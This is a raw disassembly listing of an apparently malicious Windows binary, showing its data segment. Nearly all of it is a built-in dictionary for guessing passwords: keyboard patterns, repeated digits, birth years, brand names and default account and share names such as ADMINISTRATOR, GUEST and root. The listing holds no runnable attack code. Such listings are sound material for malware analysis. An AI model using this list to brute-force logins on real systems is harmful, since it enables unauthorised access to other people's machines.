--------------------------------------------------------------------------- align 4 dd offset aCccc_0 ; "cccc" ; --------------------------------------------------------------------------- dec eax loc_42E47D: ; CODE XREF: seg002:0042E439j jmp short loc_42E4C1 ; --------------------------------------------------------------------------- align 10h dd offset aCccccc ; "cccccc" db 38h ; --------------------------------------------------------------------------- loc_42E485: ; CODE XREF: seg002:0042E441j jmp short loc_42E4C9 ; --------------------------------------------------------------------------- align 4 sub al, 0EBh inc edx add [eax], ah loc_42E48D: ; CODE XREF: seg002:0042E449j jmp short loc_42E4D1 ; --------------------------------------------------------------------------- align 10h sbb al, 0EBh inc edx add [eax], bl loc_42E495: ; CODE XREF: seg002:loc_42E451j jmp short loc_42E4D9 ; --------------------------------------------------------------------------- align 4 db 14h ; --------------------------------------------------------------------------- loc_42E499: ; CODE XREF: seg002:0042E455j jmp short near ptr loc_42E4D9+4 ; --------------------------------------------------------------------------- align 4 dd offset aDddd ; "dddd" dd offset aDdddd ; "ddddd" dd offset aF ; "f" dd offset aFf ; "ff" dd offset aFff ; "fff" db 0F0h ; --------------------------------------------------------------------------- loc_42E4B1: ; CODE XREF: seg002:loc_42E46Dj jmp far ptr 42h:0EAE80042h ; --------------------------------------------------------------------------- db 0E4h ; --------------------------------------------------------------------------- loc_42E4B9: ; CODE XREF: seg002:loc_42E475j jmp far ptr 42h:0EAE00042h ; --------------------------------------------------------------------------- db 0DCh ; --------------------------------------------------------------------------- loc_42E4C1: ; CODE XREF: seg002:loc_42E47Dj jmp far ptr 42h:0EAD40042h ; --------------------------------------------------------------------------- db 0CCh ; --------------------------------------------------------------------------- loc_42E4C9: ; CODE XREF: seg002:loc_42E485j jmp far ptr 42h:0EAC40042h ; --------------------------------------------------------------------------- db 0C0h ; --------------------------------------------------------------------------- loc_42E4D1: ; CODE XREF: seg002:loc_42E48Dj jmp far ptr 42h:0EABC0042h ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_42E4D9: ; CODE XREF: seg002:loc_42E495j ; seg002:loc_42E499j jmp far ptr 42h:0EAB00042h ; --------------------------------------------------------------------------- dd offset aGgggg ; "ggggg" dd offset aGggggg ; "gggggg" dd offset asc_42EA9C ; "h" dd offset aHh ; "hh" dd offset aHhh ; "hhh" dd offset aHhhh ; "hhhh" dd offset aHhhhh ; "hhhhh" dd offset aHhhhhh ; "hhhhhh" dd offset aI_0 ; "i" dd offset aIi ; "ii" dd offset aIii ; "iii" dd offset aIiii ; "iiii" dd offset aIiiii ; "iiiii" dd offset aIiiiii ; "iiiiii" dd offset aJ ; "j" dd offset aJj ; "jj" dd offset aJjj ; "jjj" dd offset aJjjj ; "jjjj" dd offset aJjjjj ; "jjjjj" dd offset aJjjjjj ; "jjjjjj" dd offset aK ; "k" dd offset aKk ; "kk" dd offset aKkk ; "kkk" dd offset aKkkk ; "kkkk" dd offset aKkkkk ; "kkkkk" dd offset aKkkkkk ; "kkkkkk" dd offset asc_42EA0C ; "l" dd offset aLl ; "ll" dd offset aLll ; "lll" dd offset aLlll ; "llll" dd offset aLllll ; "lllll" dd offset aLlllll ; "llllll" dd offset aM ; "m" dd offset aMm ; "mm" dd offset aMmm ; "mmm" dd offset aMmmm ; "mmmm" dd offset aMmmmm ; "mmmmm" dd offset aMmmmmm ; "mmmmmm" dd offset aN ; "n" dd offset aNn ; "nn" dd offset aNnn ; "nnn" dd offset aNnnn ; "nnnn" dd offset aNnnnn ; "nnnnn" dd offset aNnnnnn ; "nnnnnn" dd offset aO ; "o" dd offset aOo ; "oo" dd offset aOoo ; "ooo" dd offset aOooo ; "oooo" dd offset aOoooo ; "ooooo" dd offset aOooooo ; "oooooo" dd offset aP ; "p" dd offset aPp ; "pp" dd offset aPpp ; "ppp" dd offset aPppp ; "pppp" dd offset aPpppp ; "ppppp" dd offset aPppppp ; "pppppp" dd offset aU ; "u" dd offset aUu ; "uu" dd offset aUuu ; "uuu" dd offset aUuuu ; "uuuu" dd offset aUuuuu ; "uuuuu" dd offset aUuuuuu ; "uuuuuu" dd offset aS_4 ; "s" dd offset aSs_1 ; "ss" dd offset aSss ; "sss" dd offset aSsss ; "ssss" dd offset aSssss ; "sssss" dd offset aSsssss ; "ssssss" dd offset aT ; "t" dd offset aTt ; "tt" dd offset aTtt ; "ttt" dd offset aTttt ; "tttt" dd offset aTtttt ; "ttttt" dd offset aTttttt ; "tttttt" dd offset aY ; "y" dd offset aYy ; "yy" dd offset aYyy ; "yyy" dd offset aYyyy ; "yyyy" dd offset aYyyyy ; "yyyyy" dd offset aYyyyyy ; "yyyyyy" dd offset aV ; "v" dd offset aVv ; "vv" dd offset aVvv ; "vvv" dd offset aVvvv ; "vvvv" dd offset aVvvvv ; "vvvvv" dd offset aVvvvvv ; "vvvvvv" dd offset aW ; "w" dd offset aWw ; "ww" dd offset aWww ; "www" dd offset aWwww ; "wwww" dd offset aWwwww ; "wwwww" dd offset aWwwwww ; "wwwwww" dd offset aQ ; "q" dd offset aQq ; "qq" dd offset aQqq ; "qqq" dd offset aQqqq ; "qqqq" dd offset aQqqqq ; "qqqqq" dd offset aQqqqqq ; "qqqqqq" dd offset aZ ; "z" dd offset aZz ; "zz" dd offset aZzz ; "zzz" dd offset aZzzz ; "zzzz" dd offset aZzzzz ; "zzzzz" dd offset aZzzzzz ; "zzzzzz" dd offset aXxyyzz ; "xxyyzz" dd offset aZzxx ; "zzxx" dd offset aAass ; "aass" dd offset aQqww ; "qqww" dd offset aZzzxxxccc ; "zzzxxxccc" dd offset aAaasssddd ; "aaasssddd" dd offset aQqqwwweee ; "qqqwwweee" dd offset aQqwwee ; "qqwwee" dd offset aAassdd ; "aassdd" dd offset aZzxxcc ; "zzxxcc" dd offset a1qaz ; "1qaz" dd offset a2wsx ; "2wsx" dd offset a2qaz ; "2qaz" dd offset a3edc ; "3edc" dd offset a3wsx ; "3wsx" dd offset a112233 ; "112233" dd offset aMnb ; "mnb" dd offset aMnbv ; "mnbv" dd offset a2486 ; "2486" dd offset a2684 ; "2684" dd offset a13579 ; "13579" dd offset a753159 ; "753159" dd offset a159357 ; "159357" dd offset a951753 ; "951753" dd offset a753951 ; "753951" dd offset a142536 ; "142536" dd offset aSystem ; "system" dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_0 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem_0 ; "SYSTEM" dd offset aServer_1 ; "SERVER" dd offset byte_438F9C dd 0 dword_42E764 dd 10h ; seg000:0040D999r ... a142536 db '142536',0 ; DATA XREF: seg002:0042E6E4o align 10h a753951 db '753951',0 ; DATA XREF: seg002:0042E6E0o align 4 a951753 db '951753',0 ; DATA XREF: seg002:0042E6DCo align 10h a159357 db '159357',0 ; DATA XREF: seg002:0042E6D8o align 4 a753159 db '753159',0 ; DATA XREF: seg002:0042E6D4o align 10h a13579 db '13579',0 ; DATA XREF: seg002:0042E6D0o align 4 a2684 db '2684',0 ; DATA XREF: seg002:0042E6CCo align 10h a2486 db '2486',0 ; DATA XREF: seg002:0042E6C8o align 4 aMnbv db 'mnbv',0 ; DATA XREF: seg002:0042E6C4o align 10h aMnb db 'mnb',0 ; DATA XREF: seg002:0042E6C0o a112233 db '112233',0 ; DATA XREF: seg002:0042E6BCo align 4 a3wsx db '3wsx',0 ; DATA XREF: seg002:0042E6B8o align 4 a3edc db '3edc',0 ; DATA XREF: seg002:0042E6B4o align 4 a2qaz db '2qaz',0 ; DATA XREF: seg002:0042E6B0o align 4 a2wsx db '2wsx',0 ; DATA XREF: seg002:0042E6ACo align 4 a1qaz db '1qaz',0 ; DATA XREF: seg002:0042E6A8o align 4 aZzxxcc db 'zzxxcc',0 ; DATA XREF: seg002:0042E6A4o align 4 aAassdd db 'aassdd',0 ; DATA XREF: seg002:0042E6A0o align 4 aQqwwee db 'qqwwee',0 ; DATA XREF: seg002:0042E69Co align 4 aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: seg002:0042E698o align 4 aAaasssddd db 'aaasssddd',0 ; DATA XREF: seg002:0042E694o align 4 aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: seg002:0042E690o align 10h aQqww db 'qqww',0 ; DATA XREF: seg002:0042E68Co align 4 aAass db 'aass',0 ; DATA XREF: seg002:0042E688o align 10h aZzxx db 'zzxx',0 ; DATA XREF: seg002:0042E684o align 4 aXxyyzz db 'xxyyzz',0 ; DATA XREF: seg002:0042E680o align 10h aZzzzzz db 'zzzzzz',0 ; DATA XREF: seg002:0042E67Co align 4 aZzzzz db 'zzzzz',0 ; DATA XREF: seg002:0042E678o align 10h aZzzz db 'zzzz',0 ; DATA XREF: seg002:0042E674o align 4 aZzz db 'zzz',0 ; DATA XREF: seg002:0042E670o aZz db 'zz',0 ; DATA XREF: seg002:0042E66Co align 10h aQqqqqq db 'qqqqqq',0 ; DATA XREF: seg002:0042E664o align 4 aQqqqq db 'qqqqq',0 ; DATA XREF: seg002:0042E660o align 10h aQqqq db 'qqqq',0 ; DATA XREF: seg002:0042E65Co align 4 aQqq db 'qqq',0 ; DATA XREF: seg002:0042E658o aQq db 'qq',0 ; DATA XREF: seg002:0042E654o align 10h aQ: ; DATA XREF: seg002:0042E650o unicode 0, <q>,0 aWwwwww db 'wwwwww',0 ; DATA XREF: seg002:0042E64Co align 4 aWwwww db 'wwwww',0 ; DATA XREF: seg002:0042E648o align 4 aWwww db 'wwww',0 ; DATA XREF: seg002:0042E644o align 4 aWww db 'www',0 ; DATA XREF: seg002:0042E640o aWw db 'ww',0 ; DATA XREF: seg002:0042E63Co align 4 aW: ; DATA XREF: seg002:0042E638o unicode 0, <w>,0 aVvvvvv db 'vvvvvv',0 ; DATA XREF: seg002:0042E634o align 10h aVvvvv db 'vvvvv',0 ; DATA XREF: seg002:0042E630o align 4 aVvvv db 'vvvv',0 ; DATA XREF: seg002:0042E62Co align 10h aVvv db 'vvv',0 ; DATA XREF: seg000:0040F4B5o ; seg002:0042E628o aVv db 'vv',0 ; DATA XREF: seg002:0042E624o align 4 aV: ; DATA XREF: seg002:0042E620o unicode 0, <v>,0 aYyyyyy db 'yyyyyy',0 ; DATA XREF: seg002:0042E61Co align 4 aYyyyy db 'yyyyy',0 ; DATA XREF: seg002:0042E618o align 4 aYyyy db 'yyyy',0 ; DATA XREF: seg002:0042E614o align 4 aYyy db 'yyy',0 ; DATA XREF: seg002:0042E610o aYy db 'yy',0 ; DATA XREF: seg002:0042E60Co align 4 aY: ; DATA XREF: seg002:0042E608o unicode 0, <y>,0 aTttttt db 'tttttt',0 ; DATA XREF: seg002:0042E604o align 4 aTtttt db 'ttttt',0 ; DATA XREF: seg002:0042E600o align 10h aTttt db 'tttt',0 ; DATA XREF: seg002:0042E5FCo align 4 aTtt db 'ttt',0 ; DATA XREF: seg002:0042E5F8o aTt db 'tt',0 ; DATA XREF: seg002:0042E5F4o align 10h aT: ; DATA XREF: seg002:0042E5F0o unicode 0, <t>,0 aSsssss db 'ssssss',0 ; DATA XREF: seg002:0042E5ECo align 4 aSssss db 'sssss',0 ; DATA XREF: seg002:0042E5E8o align 4 aSsss db 'ssss',0 ; DATA XREF: seg002:0042E5E4o align 4 aSss db 'sss',0 ; DATA XREF: seg002:0042E5E0o aSs_1 db 'ss',0 ; DATA XREF: seg002:0042E5DCo align 4 aS_4: ; DATA XREF: seg002:0042E5D8o unicode 0, <s>,0 aUuuuuu db 'uuuuuu',0 ; DATA XREF: seg002:0042E5D4o align 10h aUuuuu db 'uuuuu',0 ; DATA XREF: seg002:0042E5D0o align 4 aUuuu db 'uuuu',0 ; DATA XREF: seg002:0042E5CCo align 10h aUuu db 'uuu',0 ; DATA XREF: seg002:0042E5C8o aUu db 'uu',0 ; DATA XREF: seg002:0042E5C4o align 4 aU: ; DATA XREF: seg002:0042E5C0o unicode 0, <u>,0 aPppppp db 'pppppp',0 ; DATA XREF: seg002:0042E5BCo align 4 aPpppp db 'ppppp',0 ; DATA XREF: seg002:0042E5B8o align 4 aPppp db 'pppp',0 ; DATA XREF: seg002:0042E5B4o align 4 aPpp db 'ppp',0 ; DATA XREF: seg002:0042E5B0o aPp db 'pp',0 ; DATA XREF: seg002:0042E5ACo align 4 aP: ; DATA XREF: seg002:0042E5A8o unicode 0, <p>,0 aOooooo db 'oooooo',0 ; DATA XREF: seg002:0042E5A4o align 4 aOoooo db 'ooooo',0 ; DATA XREF: seg002:0042E5A0o align 10h aOooo db 'oooo',0 ; DATA XREF: seg002:0042E59Co align 4 aOoo db 'ooo',0 ; DATA XREF: seg002:0042E598o aOo db 'oo',0 ; DATA XREF: seg002:0042E594o align 10h aO: ; DATA XREF: seg002:0042E590o unicode 0, <o>,0 aNnnnnn db 'nnnnnn',0 ; DATA XREF: seg002:0042E58Co align 4 aNnnnn db 'nnnnn',0 ; DATA XREF: seg002:0042E588o align 4 aNnnn db 'nnnn',0 ; DATA XREF: seg002:0042E584o align 4 aNnn db 'nnn',0 ; DATA XREF: seg002:0042E580o aNn db 'nn',0 ; DATA XREF: seg002:0042E57Co align 4 aN: ; DATA XREF: seg002:0042E578o unicode 0, <n>,0 aMmmmmm db 'mmmmmm',0 ; DATA XREF: seg002:0042E574o align 10h aMmmmm db 'mmmmm',0 ; DATA XREF: seg002:0042E570o align 4 aMmmm db 'mmmm',0 ; DATA XREF: seg002:0042E56Co align 10h aMmm db 'mmm',0 ; DATA XREF: seg002:0042E568o aMm db 'mm',0 ; DATA XREF: seg002:0042E564o align 4 aM: ; DATA XREF: seg002:0042E560o unicode 0, <m>,0 aLlllll db 'llllll',0 ; DATA XREF: seg002:0042E55Co align 4 aLllll db 'lllll',0 ; DATA XREF: seg002:0042E558o align 4 aLlll db 'llll',0 ; DATA XREF: seg002:0042E554o align 4 aLll db 'lll',0 ; DATA XREF: seg002:0042E550o aLl db 'll',0 ; DATA XREF: seg002:0042E54Co align 4 asc_42EA0C: ; DATA XREF: seg002:0042E548o unicode 0, <l>,0 aKkkkkk db 'kkkkkk',0 ; DATA XREF: seg002:0042E544o align 4 aKkkkk db 'kkkkk',0 ; DATA XREF: seg002:0042E540o align 10h aKkkk db 'kkkk',0 ; DATA XREF: seg002:0042E53Co align 4 aKkk db 'kkk',0 ; DATA XREF: seg002:0042E538o aKk db 'kk',0 ; DATA XREF: seg002:0042E534o align 10h aK: ; DATA XREF: seg002:0042E530o unicode 0, <k>,0 aJjjjjj db 'jjjjjj',0 ; DATA XREF: seg002:0042E52Co align 4 aJjjjj db 'jjjjj',0 ; DATA XREF: seg002:0042E528o align 4 aJjjj db 'jjjj',0 ; DATA XREF: seg002:0042E524o align 4 aJjj db 'jjj',0 ; DATA XREF: seg002:0042E520o aJj db 'jj',0 ; DATA XREF: seg002:0042E51Co align 4 aJ: ; DATA XREF: seg002:0042E518o unicode 0, <j>,0 aIiiiii db 'iiiiii',0 ; DATA XREF: seg002:0042E514o align 10h aIiiii db 'iiiii',0 ; DATA XREF: seg002:0042E510o align 4 aIiii db 'iiii',0 ; DATA XREF: seg002:0042E50Co align 10h aIii db 'iii',0 ; DATA XREF: seg002:0042E508o aIi db 'ii',0 ; DATA XREF: seg002:0042E504o align 4 aI_0: ; DATA XREF: seg002:0042E500o unicode 0, <i>,0 aHhhhhh db 'hhhhhh',0 ; DATA XREF: seg002:0042E4FCo align 4 aHhhhh db 'hhhhh',0 ; DATA XREF: seg002:0042E4F8o align 4 aHhhh db 'hhhh',0 ; DATA XREF: seg002:0042E4F4o align 4 aHhh db 'hhh',0 ; DATA XREF: seg002:0042E4F0o aHh db 'hh',0 ; DATA XREF: seg002:0042E4ECo align 4 asc_42EA9C: ; DATA XREF: seg002:0042E4E8o unicode 0, <h>,0 aGggggg db 'gggggg',0 ; DATA XREF: seg002:0042E4E4o align 4 aGgggg db 'ggggg',0 ; DATA XREF: seg002:0042E4E0o align 10h aGggg db 'gggg',0 align 4 aGgg db 'ggg',0 aGg db 'gg',0 align 10h aG: unicode 0, <g>,0 aEeeeee db 'eeeeee',0 align 4 aEeeee db 'eeeee',0 align 4 aEeee db 'eeee',0 align 4 aEee db 'eee',0 aEe db 'ee',0 align 4 aE: unicode 0, <e>,0 aFffff db 'fffff',0 align 10h aFfff db 'ffff',0 align 4 aFff db 'fff',0 ; DATA XREF: seg002:0042E4ACo aFf db 'ff',0 ; DATA XREF: seg002:0042E4A8o align 10h aF: ; DATA XREF: seg002:0042E4A4o unicode 0, <f>,0 aDdddd db 'ddddd',0 ; DATA XREF: seg002:0042E4A0o align 4 aDddd db 'dddd',0 ; DATA XREF: seg002:0042E49Co align 4 aDdd db 'ddd',0 aDd_1 db 'dd',0 align 4 aD: unicode 0, <d>,0 aCcccccccc db 'ccccccccc',0 align 4 aCccccccc db 'cccccccc',0 align 4 aCcccccc db 'ccccccc',0 aCccccc db 'cccccc',0 ; DATA XREF: seg002:0042E480o align 4 aCcccc db 'ccccc',0 align 10h aCccc_0 db 'cccc',0 ; DATA XREF: seg002:0042E478o align 4 aCcc db 'ccc',0 aCc db 'cc',0 ; DATA XREF: seg002:0042E470o align 10h aC_1: unicode 0, <c>,0 aBbbbbbbbb db 'bbbbbbbbb',0 ; DATA XREF: seg002:0042E468o align 10h aBbbbbbbb db 'bbbbbbbb',0 ; DATA XREF: seg002:0042E464o align 4 aBbbbbbb db 'bbbbbbb',0 ; DATA XREF: seg002:0042E460o aBbbbbb db 'bbbbbb',0 ; DATA XREF: seg002:0042E45Co align 4 aBbbbb db 'bbbbb',0 ; DATA XREF: seg002:0042E458o align 4 aBbbb db 'bbbb',0 align 4 aBbb db 'bbb',0 aBb db 'bb',0 align 4 aB_0: unicode 0, <b>,0 aRfv db 'rfv',0 ; DATA XREF: seg002:0042E444o aEdc db 'edc',0 aWsx db 'wsx',0 ; DATA XREF: seg002:0042E43Co aQaz db 'qaz',0 aAsdfghjkl db 'asdfghjkl',0 align 4 aAsdfghjk db 'asdfghjk',0 align 10h aAsdfghj db 'asdfghj',0 aAsdfgh db 'asdfgh',0 align 10h aAsdfg db 'asdfg',0 align 4 aAs db 'as',0 ; DATA XREF: seg002:0042E418o align 4 aZxcvbnm db 'zxcvbnm',0 ; DATA XREF: seg002:0042E414o aZxcvbn db 'zxcvbn',0 ; DATA XREF: seg002:0042E410o align 4 aZxcvb db 'zxcvb',0 align 4 aZxc db 'zxc',0 aZx db 'zx',0 align 4 aZ: ; DATA XREF: seg002:0042E3FCo ; seg002:0042E668o unicode 0, <z>,0 aKonyang db 'konyang',0 ; DATA XREF: seg002:0042E3F8o aToyota_0 db 'TOYOTA',0 ; DATA XREF: seg002:0042E3C0o align 10h aKor db 'KOR',0 ; DATA XREF: seg002:0042E3BCo aKor_0 db 'kor',0 ; DATA XREF: seg002:0042E3B4o aChi db 'chi',0 ; DATA XREF: seg002:0042E3B0o aChi_0 db 'CHI',0 ; DATA XREF: seg002:0042E3ACo aSystem db 'system',0 ; DATA XREF: seg002:0042E3A4o ; seg002:0042E6E8o align 4 aServices db 'services',0 ; DATA XREF: seg002:0042E3A0o align 4 aServers db 'servers',0 ; DATA XREF: seg002:0042E39Co aServer_0 db 'server',0 ; DATA XREF: seg002:0042E394o align 4 aQwertyuiop db 'qwertyuiop',0 ; DATA XREF: seg002:0042E38Co align 10h aQwertyuio db 'qwertyuio',0 ; DATA XREF: seg002:0042E388o align 4 aQwertyui db 'qwertyui',0 ; DATA XREF: seg002:0042E384o align 4 aQwertyu db 'qwertyu',0 ; DATA XREF: seg002:0042E380o aQwe db 'qwe',0 ; DATA XREF: seg002:0042E370o aQw db 'qw',0 ; DATA XREF: seg002:0042E36Co align 4 aPassword1 db 'password1',0 ; DATA XREF: seg002:0042E368o align 4 aPassword_0 db 'Password',0 ; DATA XREF: seg002:0042E364o align 10h aAaaaaaaaa db 'aaaaaaaaa',0 ; DATA XREF: seg002:0042E360o align 4 aAaaaaaaa db 'aaaaaaaa',0 ; DATA XREF: seg002:0042E35Co align 4 aAaaaaaa db 'aaaaaaa',0 ; DATA XREF: seg002:0042E358o aAaaaaa db 'aaaaaa',0 ; DATA XREF: seg002:0042E354o align 4 aAaaaa db 'aaaaa',0 ; DATA XREF: seg002:0042E350o align 10h aAaaa db 'aaaa',0 ; DATA XREF: seg002:0042E34Co align 4 aAa db 'aa',0 ; DATA XREF: seg002:0042E344o align 4 aNokia db 'NOKIA',0 ; DATA XREF: seg002:0042E338o align 4 aSex db 'SEX',0 ; DATA XREF: seg002:0042E334o aCreative db 'CREATIVE',0 ; DATA XREF: seg002:0042E330o align 4 aDisc_0 db 'DISC',0 ; DATA XREF: seg002:0042E32Co align 4 aMicrosoft db 'MICROSOFT',0 ; DATA XREF: seg002:0042E328o align 4 aMaster_0 db 'MASTER',0 ; DATA XREF: seg002:0042E324o align 10h aSony_0 db 'SONY',0 ; DATA XREF: seg002:0042E320o align 4 aSamsung db 'samsung',0 ; DATA XREF: seg002:0042E31Co aSamsung_0 db 'SAMSUNG',0 ; DATA XREF: seg002:0042E318o aSony db 'sony',0 ; DATA XREF: seg002:0042E314o align 10h a7654321 db '7654321',0 ; DATA XREF: seg002:0042E310o a4321 db '4321',0 ; DATA XREF: seg002:0042E304o align 10h a321 db '321',0 ; DATA XREF: seg002:0042E300o a2006 db '2006',0 ; DATA XREF: seg002:0042E2F8o align 4 a2005 db '2005',0 ; DATA XREF: seg002:0042E2F4o align 4 a2004 db '2004',0 ; DATA XREF: seg002:0042E2F0o align 4 a2001 db '2001',0 ; DATA XREF: seg002:0042E2E4o align 4 a2000 db '2000',0 ; DATA XREF: seg002:0042E2E0o align 4 a1999 db '1999',0 ; DATA XREF: seg002:0042E2DCo align 4 a1998 db '1998',0 ; DATA XREF: seg002:0042E2D8o align 4 a1997 db '1997',0 ; DATA XREF: seg002:0042E2D4o align 4 a1996 db '1996',0 ; DATA XREF: seg002:0042E2D0o align 4 a1995 db '1995',0 ; DATA XREF: seg002:0042E2CCo align 4 a1994 db '1994',0 ; DATA XREF: seg002:0042E2C8o align 4 a1993 db '1993',0 ; DATA XREF: seg002:0042E2C4o align 4 a1992 db '1992',0 ; DATA XREF: seg002:0042E2C0o align 4 a1991 db '1991',0 ; DATA XREF: seg002:0042E2BCo align 4 a1990 db '1990',0 ; DATA XREF: seg002:0042E2B8o align 4 a1989 db '1989',0 ; DATA XREF: seg002:0042E2B4o align 4 a1988 db '1988',0 ; DATA XREF: seg002:0042E2B0o align 4 a1987 db '1987',0 ; DATA XREF: seg002:0042E2ACo align 4 a1986 db '1986',0 ; DATA XREF: seg002:0042E2A8o align 4 a1985 db '1985',0 ; DATA XREF: seg002:0042E2A4o align 4 a1984 db '1984',0 ; DATA XREF: seg002:0042E2A0o align 4 a1983 db '1983',0 ; DATA XREF: seg002:0042E29Co align 4 a1982 db '1982',0 ; DATA XREF: seg002:0042E298o align 4 a1981 db '1981',0 ; DATA XREF: seg002:0042E294o align 4 a1980 db '1980',0 ; DATA XREF: seg002:0042E290o align 4 a1979 db '1979',0 ; DATA XREF: seg002:0042E28Co align 4 a1978 db '1978',0 ; DATA XREF: seg002:0042E288o align 4 a1977 db '1977',0 ; DATA XREF: seg002:0042E284o align 4 a1976 db '1976',0 ; DATA XREF: seg002:0042E280o align 4 a1975 db '1975',0 ; DATA XREF: seg002:0042E27Co align 4 a1974 db '1974',0 ; DATA XREF: seg002:0042E278o align 4 a1973 db '1973',0 ; DATA XREF: seg002:0042E274o align 4 a1972 db '1972',0 ; DATA XREF: seg002:0042E270o align 4 a1971 db '1971',0 ; DATA XREF: seg002:0042E26Co align 4 a1970 db '1970',0 ; DATA XREF: seg002:0042E268o align 4 a1969 db '1969',0 ; DATA XREF: seg002:0042E264o align 4 a1968 db '1968',0 ; DATA XREF: seg002:0042E260o align 4 a1967 db '1967',0 ; DATA XREF: seg002:0042E25Co align 4 a1966 db '1966',0 ; DATA XREF: seg002:0042E258o align 4 a1965 db '1965',0 ; DATA XREF: seg002:0042E254o align 4 a1964 db '1964',0 ; DATA XREF: seg002:0042E250o align 4 a1963 db '1963',0 ; DATA XREF: seg002:0042E24Co align 4 a1962 db '1962',0 ; DATA XREF: seg002:0042E248o align 4 a1961 db '1961',0 ; DATA XREF: seg002:0042E244o align 4 a1960 db '1960',0 ; DATA XREF: seg002:0042E240o align 4 a1959 db '1959',0 ; DATA XREF: seg002:0042E23Co align 4 a1958 db '1958',0 ; DATA XREF: seg002:0042E238o align 4 a1957 db '1957',0 ; DATA XREF: seg002:0042E234o align 4 a1956 db '1956',0 ; DATA XREF: seg002:0042E230o align 4 a1955 db '1955',0 ; DATA XREF: seg002:0042E22Co align 4 a1954 db '1954',0 ; DATA XREF: seg002:0042E228o align 4 a1953 db '1953',0 ; DATA XREF: seg002:0042E224o align 4 a1952 db '1952',0 ; DATA XREF: seg002:0042E220o align 4 a1234qwe db '1234qwe',0 ; DATA XREF: seg002:0042E21Co a1234asd db '1234asd',0 ; DATA XREF: seg002:0042E218o a1234abc db '1234abc',0 ; DATA XREF: seg002:0042E214o a123qwer db '123qwer',0 ; DATA XREF: seg002:0042E200o a12qwe db '12qwe',0 ; DATA XREF: seg002:0042E1FCo align 4 a12asd db '12asd',0 ; DATA XREF: seg002:0042E1F8o align 4 a12abc db '12abc',0 ; DATA XREF: seg002:0042E1F4o align 4 a12qwer db '12qwer',0 ; DATA XREF: seg002:0042E1F0o align 4 a1qwe db '1qwe',0 ; DATA XREF: seg002:0042E1ECo align 4 a1asd db '1asd',0 ; DATA XREF: seg002:0042E1E8o align 4 a1abc db '1abc',0 ; DATA XREF: seg002:0042E1E4o align 4 a1qwer db '1qwer',0 ; DATA XREF: seg002:0042E1E0o align 4 a123467890 db '123467890',0 ; DATA XREF: seg002:0042E1DCo align 4 a12346789 db '12346789',0 ; DATA XREF: seg002:0042E1D8o align 4 a1234678 db '1234678',0 ; DATA XREF: seg002:0042E1D4o a123467 db '123467',0 ; DATA XREF: seg002:0042E1D0o align 4 a12346 db '12346',0 ; DATA XREF: seg002:0042E1CCo align 4 a121 db '121',0 ; DATA XREF: seg002:0042E1A4o a1020 db '1020',0 ; DATA XREF: seg002:0042E19Co align 4 a0258 db '0258',0 ; DATA XREF: seg002:0042E198o align 10h a8520 db '8520',0 ; DATA XREF: seg002:0042E194o align 4 a987 db '987',0 ; DATA XREF: seg002:0042E190o a789 db '789',0 ; DATA XREF: seg002:0042E18Co a654 db '654',0 ; DATA XREF: seg002:0042E188o a456 db '456',0 ; DATA XREF: seg002:0042E184o a1122 db '1122',0 ; DATA XREF: seg002:0042E180o align 10h a0147 db '0147',0 ; DATA XREF: seg002:0042E17Co align 4 a7410 db '7410',0 ; DATA XREF: seg002:0042E178o align 10h a9999999999 db '9999999999',0 ; DATA XREF: seg002:0042E170o align 4 a999999999 db '999999999',0 ; DATA XREF: seg002:0042E16Co align 4 a99999999 db '99999999',0 ; DATA XREF: seg002:0042E168o align 4 a9999999 db '9999999',0 ; DATA XREF: seg002:0042E164o a999999 db '999999',0 ; DATA XREF: seg002:0042E160o align 4 a99999 db '99999',0 ; DATA XREF: seg002:0042E15Co align 4 a9999 db '9999',0 ; DATA XREF: seg002:0042E158o align 4 a999 db '999',0 ; DATA XREF: seg002:0042E154o a99 db '99',0 ; DATA XREF: seg002:0042E150o align 4 a9: ; DATA XREF: seg002:0042E14Co unicode 0, <9>,0 a8888888888 db '8888888888',0 ; DATA XREF: seg002:0042E148o align 4 a888888888 db '888888888',0 ; DATA XREF: seg002:0042E144o align 4 a8888888 db '8888888',0 ; DATA XREF: seg002:0042E13Co a888888 db '888888',0 ; DATA XREF: seg002:0042E138o align 4 a88888 db '88888',0 ; DATA XREF: seg002:0042E134o align 10h a8888 db '8888',0 ; DATA XREF: seg002:0042E130o align 4 a888 db '888',0 ; DATA XREF: seg002:0042E12Co a88 db '88',0 ; DATA XREF: seg002:0042E128o align 10h a8: ; DATA XREF: seg002:0042E124o unicode 0, <8>,0 a7777777777 db '7777777777',0 ; DATA XREF: seg002:0042E120o align 10h a777777777 db '777777777',0 ; DATA XREF: seg002:0042E11Co align 4 a77777777 db '77777777',0 ; DATA XREF: seg002:0042E118o align 4 a7777777 db '7777777',0 ; DATA XREF: seg002:0042E114o a777777 db '777777',0 ; DATA XREF: seg002:0042E110o align 4 a77777 db '77777',0 ; DATA XREF: seg002:0042E10Co align 10h a7777 db '7777',0 ; DATA XREF: seg002:0042E108o align 4 a777 db '777',0 ; DATA XREF: seg002:0042E104o a77 db '77',0 ; DATA XREF: seg002:0042E100o align 10h a7: ; DATA XREF: seg002:0042E0FCo unicode 0, <7>,0 a6666666666 db '6666666666',0 ; DATA XREF: seg002:0042E0F8o align 10h a666666666 db '666666666',0 ; DATA XREF: seg002:0042E0F4o align 4 a66666666 db '66666666',0 ; DATA XREF: seg002:0042E0F0o align 4 a6666666 db '6666666',0 ; DATA XREF: seg002:0042E0ECo a666666 db '666666',0 ; DATA XREF: seg002:0042E0E8o align 4 a66666 db '66666',0 ; DATA XREF: seg002:0042E0E4o align 10h a6666 db '6666',0 ; DATA XREF: seg002:0042E0E0o align 